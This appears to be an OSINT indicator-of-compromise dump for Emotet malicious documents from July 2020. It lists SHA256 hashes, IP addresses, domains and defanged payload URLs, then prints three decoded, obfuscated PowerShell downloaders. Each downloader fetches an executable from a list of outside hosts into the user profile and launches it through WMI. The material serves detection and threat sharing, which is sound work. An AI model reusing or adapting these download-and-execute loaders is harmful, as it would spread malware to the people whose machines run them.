Emotet_Doc_out_2020-07-27_13_35.txt

#Emotet #Docs #malware #OSINT #IOC

SHA256:

70c88e074aef925dd90c000e760c886df1a836abdc0d56d52407d98229f6fa43
516b990afeea66dde2feaf3c08cc03d53b102010a7563f735bcd2a9298a4978e
b8fd2d00ab40281c6c2c485351418b75a45fccce290eaf5b0e998390b978bfd4
bfe94d0dfb8bb64753096dbfa9b63cebb6e4035eb64c44ad7fdb0dfb9a5a20ea
ddf9d1e56d014b48d1c06eee5597dd27cfd526453ff1657725fc96d54672eed9
9250d08026b599f3db61fd76dbc27e4679aa734e469a9706c50d280c1d86913e
a20bd02f74a347c085b69f0fc0e88439a81ca48bc6609580b02c7b1af1045217
4ddc738bbe3c13afb7b82733dfd66d132489f4c3401433f7f75052db0072dc0e
d5df21344644cb13c8c9b799aca8036d222a1e97aae7e51043dff695c0485ebc
24304c4c69d49a1abbdaf4a07d9608111ae8486bd48eee061e6bb29f4943f543
0c54a1b02160e4ee0471fa08d9d7b028c93c1a8a409a73beec0c3098c85e60c8
00f9030cbfb095139a4e8f6fc9e282149fb32fa202c75dd95063951b237bdcb3
0c133bcd327858b979c14422ac2623c0efef1dabc588f2e775e58049bacf093e
8f693cea85026bd7f34d4c5d2684885ec3c54c17bdf61287ee946216b42d6d5d
d18152af5b8f8b7d520aa4ed28003b8e1ea8a31b270d64799252ce6546e80baf
8aaac75598925bf1f4f8681fe90a8201fd71dfcfeb9e74f5e5ce871eb75dd4f5
b668f3bb2053f6f4f3f086872f01062151d9f3b3b57b5d57607a783f729069c1
a673367d1b59b0dc8e2baadcc7b82bab3cd5366208e024034a3f982be198b3a3
2dd601a0f08f05e611caf1e1cbebd3ad136e29621b3987ffdb734a7bb27f7407
03a610074d1885c1951064a015d34eb0d884e43968a15ffaf1967f16df31da31
a55fc6835fd7688e8c1525b6b557dc4c04f7a3500683bc2e271bee96215904b9
73d6cf5248a0604eba81bfe1a1f55473820a97df0c5746014dd47e3d10071cb2
73ca49f367f9ccc5d7afeb6979409e1e116a8ff24d143b7cda1482204e8a12c2
1cd9889ad43cd422276df08ecb1c646d283f3c9eef9fd2729d119a76939698a6
cea337a2419fb5cfef5f89529237cb50f0c8fb8a2da91415118aab5518e95455
d21d5506790572f4829f297dec2277727abad7732ef6a6436e047d9c0b36a731
fe236d1160de3bfa6f16325da55c3b58e62bb19f27f67a942f2b9ca9580e9043
3910827f5bc30cd77ff956d9dacc6ed8dfc84d680e843851e98a1dc2a526cc1c
95a60a0dc7c6960c8156a6804ae3a516a64480bd63c7705bd99f9886f12a9c5c
82240ff9ae724467d1115b5e3cefb2519aeb6ce9e3bb31478b0f3f2132da3615
3d467920faab11b2b3b69411dd9627e33c58c59345bf37f6dcebe3e658c43650
d4a47bdc41372423b274ca067414af10e6096b6e909a51f8e35db1219a38e294
ce8355518702698894b952a051ef82f8b545e9732be13fb29032f7b5662ad1ed
86ef20dcbdc30f082e16816d3281b197b1e34d03d05c1098a867b9d840802cab
abb692721c19ff5f382ccfc5bd6ce5301433d4ff75f8745e73d8fa929b4ab1ae
31f10fbec828f05f9da7e2141f83bfef5e0faa29a398a6912c4ada5c8c14e963
a8377439065663a204f302e8b1ae0aa1d880b86780a7a8ddf0c2569a8a78ef0e
e4318624a64a3ae6339fb9f313b16d683af5a4407afa1aadc2d50d7fe53d9a62
7b0a43ed14a889ff1b2f26657bc4453ef52f45ffa85ed059e8109ce860239530
c1e8ca6ab04cda931078956f97ce9472cbac4e8d0718506c2d4f3c618514e7c5
694e3d8db738e2dc0c126f0e8eade84677bf290041e4aff16d4b82301a59f8da
5adde0f4c764095e874bfe5c58bc665bfa26b074fa84231ec735009f84a1313e
8838e7dc1e3c25e5b499354735a74fa697472421dba5896b535973b079380210
bfd7374a797a6c3e77d704c3ec20c246e532ab967cb7cec9f3f77f386bdd7455
f18cd894f96fe1947a742b359fcc7bea8f2d2c34bc1080cadf3fcff2d2564946
d6dda19b45b3e10925dfcab7b4c0060f7cc816d29ccfa5b68e8f45bd7c69192b
093cc1977c0adf342635037335e8d76802041ca0b406c065ee63bb3c4b0d30aa
9906a5bee4b9e562812454fe546581f17dcea82db95ce7b846c50d1537cb8316
ece54d4d0a7d1ac6029624db0e3983d0fb7926c523a190cb5179e98272da53f9
8d8a0dbf9e0c219b594762d88e79b8502dc3ef9699906a21ae3be4224fca3659
7e10a0e92fcdcd90d995ee6b0b0059e7a879145f512a34f8f80deb336c83fbcd
99800fcb85d6728c00375fdb6dd54114e6673d809fbf90d537c261b287a599ee
e9ec8dcf35e5618cf483a8622e4660b2ad226abbe8e88df98e25db180a1f8aee
121ed8988b04cd935a814c1721a9f0d568268c9771e9a54104e9d603bfb63735
b936ca1824141941696f21188294398f23a5bf8f6dc5211f7a89d68996eb1496
52d614878963e173c2d71c4a5acb9362518cda99df23bd2d1525f50f93eccc0e
2dd5a90bf7f556f0c8a9a024f6ac592b4c6654f59b7d663c5b313e77757702ef
f7e57a114b25d746fd0b4c14c656eae2c02238130d90124939885bb0b36f3674
8485394f6bb30ed472a2f5f0f1271098ea0ca479ebf1ac5e419f65c5a6c3750e
fcdbd1df2994aa81348459cba048cb91f2d0c779911d4abd1ac45bd540eae640
f815f1d2c10f89e966e1637e1d1478a36c5c8c8ceb852eefaa2247c44f10b9fd
a38009fa686fc8b2d5d64ac631da032b3ae4306eae5f763c354a30bd27acd7e3
693c1df0735815f2364a37d694cb61cfed0564dc929aa6e8e2f2fb7c2f82267e
8a3c6c28c8e2a7d4a12919a3c5894648e4a54661f9ded2f99e00685742d95bc4
e96a19dec04fc49f1360224fea7d16ee6c04d29b296500a3b7edc87d31a925fb
aba7df9e5780927498f58cb4482f30ac95c85e74d6e71a4a340768b6d5fcec63
affd22130c658e33e153da21dacd828359afe4c1bee7d621def53e3c7fb5a712
88cca8fc8a65b95ca50edf7f8f1bc19f7c7d91935a589e7a4a88b42ea443b603
0d4d84b4ed0c4a8e8c9f84e6e3867fac00ea5484f6892545456598a190dd99c7
e2796110338cf892ecb47cb8baeafa186dabd1403514af5d5a470c2561c59d11
a6c57882ad508e14909fc77b2bcef15fbbbc5cb49e4c8733f2bc810e99a7072e
df314d2431bc91e51d22c2f55c6b9de5577ac0129f93014698c3e17546ae0867
2c4488a6f51c9e243a1723fe43f3b1b4c6feb9e8e1b5611edf1494b0495423ef
74ce12c575fb8276ee0145f889da09b27a4884e4bc128b77222b41cab80fa9a0
73b87bcb2d8e43fec86b43f84752cbcfe33d485f4f6ce5d5dc3226f8e8b826e0
5c3ece93e2a6644d09daac8a92d6d624794c5e88db7781c77eb5ffd03d2ff8ff
548e4293f740ef77ecf074a7e8eb5ee8659eb565fd08db697ca873dc770c11b0
71e846994ca39d459d644c80d1e9101d8dcd0fbe9853b0bec73d33586ed88773
7b556a71dd1a7d166e4a3de8b53b1674f19e0a0d695a9ebc0875c7147a8ea044
8fdd3fad426a8499433d8045d76ba7baf4903cc5e1cd43748acccf6495edeb6f
aec05999d3751d7cfd9ade2316388ee6da303748401fb7eada3edaf2b37a18a3
11c501be65d63907baa1026fa30e966a5936ba4d53673568a860e90ccaa71730
53b621b6922ae079e6dbcd79bb0cc9febeb81e709f734d4abf4cb478c860b210
a4b1cb85f1af1b6c01035843710dd0ee5d998cd2081cde6cb1ce612078261532
31f3ec1b15a9c06dacc94a54406f6893bf82d7a00ac2995bd5cd5bfec7397158
afb8a211aed5fe2cd7ba18892979ea3d3790c9bdbb4df7b9746c787cd1212061
04383d2a5ca64b8cb3f06b60e62cca554f09e7faf62d1a3fb28bd707b499fd10
9c7cb64273b110b8e8689f4e86638b17bad4eabe9f9e6099c23edf9ddc2470e0
248b03d0576d39818efc965fbae60089ad3c0c7fbe4b47e9d86cc327f92befaa
be1e2984d3657b0177389beb66dbad8fb3c6ae60d6743d2d3b9793ce3a6c9aab
990409004268c808565cc3f84da881a0fc7f0224bf0a99aee08556d9f1b1803a
2d5d5c2495eadd9b96cc42819d199165363086332219e44c056d831b70ca7857
01cfc21ed3c51eb88b5e4c18b1da03f54027ff638c8823ce0c326fcdfaa37f01
313b6fec26807fff76eb408ed48d7a51a70ae15675c35ed232cd8daf3ce28717
03ccea9ac8354081a524f00195d97b87d10c57f4a8a70f09bf163e7726086a4e
d69d0d9a4b8c68b51de384608f77a51a6bc5f6e6e27484204f497eee2fd65568
08a38f5a6fe0c0d52f85199784714b913ca13ee2d279a70d1f1d2186f4d339a7
0076428f8a47db875c09fbb743ac413da7f4ba9e36841c32930173bcbfd4f16f
d575f8e2f5ec801a97d32872f21666c26bd09492a8143a3b4b006ab25e062aa2
ecfcada8131c01436ccd879656898e0c54347fc88b8e4c523fcfe2faa885cea5
76893f2b549e01ce97c38433f893c0c38a4fcf62676fc218df42e1e7e197f873
5de801d1734e78ebab4e8a80a424bb6f06e1e7c72938e6d7922073bc7a0370d7
7cc6d5a6330688e0bc44f1a92cffc9933d121ead8101b547888e7089f5e4a0df
eeaf42f3d695819d6824ff5bc775215e75863dbc990bccdfa9b4501ac7de55d2
0b251865f49524795897ceb0313d356c10bfc12b1f7fa01c0dc10041ff341dec
82237411edab3b0cd9bc01935c55ffb42b8ea2b2af9c7540f56375628d424420
aadb1ef348657580765dd31c88bcd1e021dd9656710bf1615dd29d68e1d36e83
cfdaefd9181e7fe1b02f9b451f63629e6f963293318002130e67ca850906d5bd
8c31e01d64ab35fee10650f47066018520ad0cbbe47d1c6d6907debbc8988da2
0f79dd6c7bd7490955e93399a3e660272c22f6f7f5e97a24ff33d1d1af714941
1910a26195ba76b7667ca41dcf8d28bbcfe6371de42f0daf68f17aa5e5307b10
39bf0c4bdebe53fc69cb89ef4017a073ffbdf471e109b6710d41235a6f344a4f
b6573958a8e38541a7c3a352ec38add53b0e5d264ca6bff1076fe768bfddc805
cc4d4fcf64017ec3ac07c213f2322136747fa1d03a6a115ab62b175b006eb4a1
ed41a46cc4cfbbc76641153afe9c02cc26886654483c01450293825d5f64904b
7da491ebf960db553ac5406c952edb7e3f5edbf1c8a0cbac65e1ec1a7a0ee766
4dc316f7729644658dede334b505aa68e60a7669cdb41a3bf335a5430ca1e2ba


IPs:
103.230.139.119
106.52.87.250
121.42.175.55
150.95.203.198
165.22.181.74
166.62.127.107
192.252.149.15
193.141.3.69
206.81.3.74
208.113.174.80
37.247.111.71
50.31.160.160
74.114.89.87
81.169.145.77
94.182.190.76

Domains:

duhocjk.vn
fourserious.com
givingthanksdaily.com
graduategames.com
greeena.com
grooveshack.net
haarwelten.com
hohwy.com
houseofgriffin.org
lidermuebles.com.ar
www.bunnyrank.com
www.nevefe.com
www.python1314.com
www.yueyunmumen.com


hxxp://houseofgriffin.org/weblog/v76/
hxxp://hohwy.com/cgi-bin/Bv8y33Cmr/
hxxp://lidermuebles.com.ar/cgi-bin/wz4rxd/
hxxp://106.52.87.250:81/wp-admin/T3B09Z/
hxxp://duhocjk.vn/wp-admin/51f73u/
hxxp://givingthanksdaily.com/cgi-bin/jHU/
hxxp://graduategames.com/Downloads/QP/
hxxp://grooveshack.net/wp-includes/J9k/
hxxp://haarwelten.com/_test/zJikECHQ/
hxxp://fourserious.com/BRAVADO_1401_1402/sadN3/
hxxp://www.yueyunmumen.com/forum/9sjmt4142/
hxxps://www.python1314.com/w-bbs/template/JmDCURzp/
hxxp://greeena.com/wp-content/plugins/s1vDmkhawy2n1717/
hxxp://www.nevefe.com/wp-content/MLLth596/
hxxps://www.bunnyrank.com/xsx/aEe/


Decoded Base64 Powershell:
$daohjouthwoiz='heamhep';
[Net.ServicePointManager]::"sECUr`iTYPR`otocOl" = 'tls12, tls11, tls';
$kiodmoag = '851';
$xaitxaugvaexroich='veepboofpooqu';
$jeolwaiqujoud=$env:userprofile+'\'+$kiodmoag+'.exe';
$geucthaudgurheud='boojhiltheib';
$keupfaikthuus=&('new-'+'obje'+'ct') nEt.WeBClienT;
$maogzoegchuuk='hxxp://houseofgriffin.org/weblog/v76/
hxxp://hohwy.com/cgi-bin/Bv8y33Cmr/
hxxp://lidermuebles.com.ar/cgi-bin/wz4rxd/
hxxp://106.52.87.250:81/wp-admin/T3B09Z/
hxxp://duhocjk.vn/wp-admin/51f73u/'."S`pLiT"([char]42);
$cuudbuahdiom='wowtiavnual';
foreach($boinleerxun in $maogzoegchuuk){try{$keupfaikthuus."Do`wnl`oa`dFILE"($boinleerxun, $jeolwaiqujoud);
$duawquootchiaw='kiaflaidlaek';
If ((.('G'+'e'+'t-Item') $jeolwaiqujoud)."L`Ength" -ge 33618) {([wmiclass]'win32_Process')."CRe`Ate"($jeolwaiqujoud);
$haucjaixkoawfeuj='keojxuc';
break;
$wianmachtocdooj='geemlihzeab'}}catch{}}$quabquaichpaw='boexveaxxiy'$geujduysoad='belthaud';
[Net.ServicePointManager]::"SEcurI`T`ypRO`T`OCOl" = 'tls12, tls11, tls';
$niathriatvaol = '914';
$luugwaomfoif='xaipvauk';
$sodmeujlais=$env:userprofile+'\'+$niathriatvaol+'.exe';
$faesquieskuch='vaithpioybaof';
$maemniontaid=&('n'+'ew'+'-object') neT.WeBclIenT;
$fiqumog='hxxp://givingthanksdaily.com/cgi-bin/jHU/
hxxp://graduategames.com/Downloads/QP/
hxxp://grooveshack.net/wp-includes/J9k/
hxxp://haarwelten.com/_test/zJikECHQ/
hxxp://fourserious.com/BRAVADO_1401_1402/sadN3/'."SP`LIt"([char]42);
$joumxeichyouchheed='neucwaifzuaf';
foreach($siymaut in $fiqumog){try{$maemniontaid."DowN`LO`A`DFILe"($siymaut, $sodmeujlais);
$nuuzkebsaud='bioptiaspiegboud';
If ((.('Get'+'-'+'Item') $sodmeujlais)."lenG`TH" -ge 37010) {([wmiclass]'win32_Process')."crEa`Te"($sodmeujlais);
$paofbirfac='liavjequnecxeik';
break;
$ruuwveojyiqubauk='meugpiequ'}}catch{}}$cootjias='jiojdoip'$quaultheoqubeul='zoiwneeh';
[Net.ServicePointManager]::"SECu`RI`TY`pROt`OCoL" = 'tls12, tls11, tls';
$satchaofloal = '700';
$wiasmeithseam='choogroar';
$ceachtoytaequ=$env:userprofile+'\'+$satchaofloal+'.exe';
$poahchaw='quimloenduproiqu';
$beokquuahcuaqu=&('new'+'-objec'+'t') NEt.WEBCLIeNt;
$keekthoibfoef='hxxp://www.yueyunmumen.com/forum/9sjmt4142/
hxxps://www.python1314.com/w-bbs/template/JmDCURzp/
hxxp://greeena.com/wp-content/plugins/s1vDmkhawy2n1717/
hxxp://www.nevefe.com/wp-content/MLLth596/
hxxps://www.bunnyrank.com/xsx/aEe/'."s`PliT"([char]42);
$weevcoovraibdoat='thaultuuktheej';
foreach($xoulgutbeeyfeav in $keekthoibfoef){try{$beokquuahcuaqu."Do`wnLOaDfi`lE"($xoulgutbeeyfeav, $ceachtoytaequ);
$koejwiesluax='vaobdoogzeon';
If ((&('G'+'et'+'-Item') $ceachtoytaequ)."leN`gTH" -ge 33877) {([wmiclass]'win32_Process')."cR`EAtE"($ceachtoytaequ);
$chodjuaj='veaxdiajquoul';
break;
$haypoutsaiv='roekchir'}}catch{}}$choivkeanbianbaur='feecgougpoaw'